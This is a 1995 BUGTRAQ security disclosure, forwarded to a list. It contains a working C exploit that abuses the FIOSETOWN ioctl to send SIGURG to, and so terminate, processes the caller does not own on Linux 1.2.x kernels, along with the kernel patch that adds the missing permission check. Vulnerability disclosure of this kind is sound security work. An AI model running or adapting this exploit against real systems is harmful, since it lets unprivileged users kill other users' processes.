Exploit+fix for Linux SIGURG (fwd)

bt (bt@cyberflunk.com)
Tue, 11 Jul 1995 11:53:14 -0700 (PDT)


---------- Forwarded message ----------
Date: Tue, 11 Jul 1995 18:37:43 +0200
From: Marek Michalkiewicz <marekm@i17linuxb.ists.pwr.wroc.pl>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
Subject: Exploit+fix for Linux SIGURG

Thanks for all the mail I received about this bug. Enclosed is the
promised exploit program, and kernel patch for 1.2.11 which will plug
this hole. This patch is in 1.3.7 but not yet in 1.2.x.

----------
/*
This program, when run on most Linux systems (tested with 1.2.9,
but should work with versions at least up to 1.2.11 and 1.3.6),
will send SIGURG to specified process, even if you don't own it.
This signal (unless caught or ignored) will terminate the process,
so please don't do that without the permission from your system
administrator. Thank you.

Copyright (C) 1995 Marek Michalkiewicz

This program is free software, see the GNU General Public License
for more legalese... There is no warranty - after all, this bug
may be fixed soon :-).

This piece of code is probably not an example of proper programming
style - please don't look at it too closely. The intent is to show
a security hole in the Linux kernel.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8765 /* just a random hopefully unused TCP port */

#define ERROR_CHECK(x, msg) do { \
if ((x) == -1) { \
perror(msg); \
exit(1); \
} \
} while (0)

int main(int argc, char *argv[])
{
int s, s1, child_pid;
struct sockaddr_in addr;
int one = 1;
char c = 0;

if (argc != 2) {
fprintf(stderr, "usage: %s pid\n", argv[0]);
exit(1);
}
ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" );
ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one), "setsockopt" );
memset(&addr, 0, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = INADDR_ANY;
ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" );
ERROR_CHECK( listen(s, 1), "listen" );
ERROR_CHECK( child_pid = fork(), "fork" );
if (child_pid == 0) { /* child */
int pid_to_kill = atoi(argv[1]);

ERROR_CHECK( s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket" );
ERROR_CHECK( connect(s1, (struct sockaddr *) &addr, sizeof addr), "child connect" );
ERROR_CHECK( ioctl(s1, FIOSETOWN, &pid_to_kill), "child ioctl" ); /* !!! */
ERROR_CHECK( write(s1, &c, 1), "child write" ); /* wake up blocked parent */
ERROR_CHECK( read(s1, &c, 1), "child read" );
_exit(0);
}
ERROR_CHECK( s1 = accept(s, NULL, NULL), "accept" );
ERROR_CHECK( read(s1, &c, 1), "read" ); /* block until child is ready */
ERROR_CHECK( send(s1, &c, 1, MSG_OOB), "send" ); /* this will send SIGURG */
return 0;
}
----------
diff -urN v1.2.11/linux/net/inet/af_inet.c linux/net/inet/af_inet.c
--- v1.2.11/linux/net/inet/af_inet.c Tue Jun 13 15:18:50 1995
+++ linux/net/inet/af_inet.c Wed Jul 5 16:00:19 1995
@@ -1260,6 +1260,7 @@
{
struct sock *sk=(struct sock *)sock->data;
int err;
+ int tmp;

switch(cmd)
{
@@ -1268,7 +1269,11 @@
err=verify_area(VERIFY_READ,(int *)arg,sizeof(long));
if(err)
return err;
- sk->proc = get_fs_long((int *) arg);
+ tmp = get_fs_long((int *) arg);
+ /* see inet_fcntl */
+ if (current->pid != tmp && current->pgrp != -tmp && !suser())
+ return -EPERM;
+ sk->proc = tmp;
return(0);
case FIOGETOWN:
case SIOCGPGRP:
----------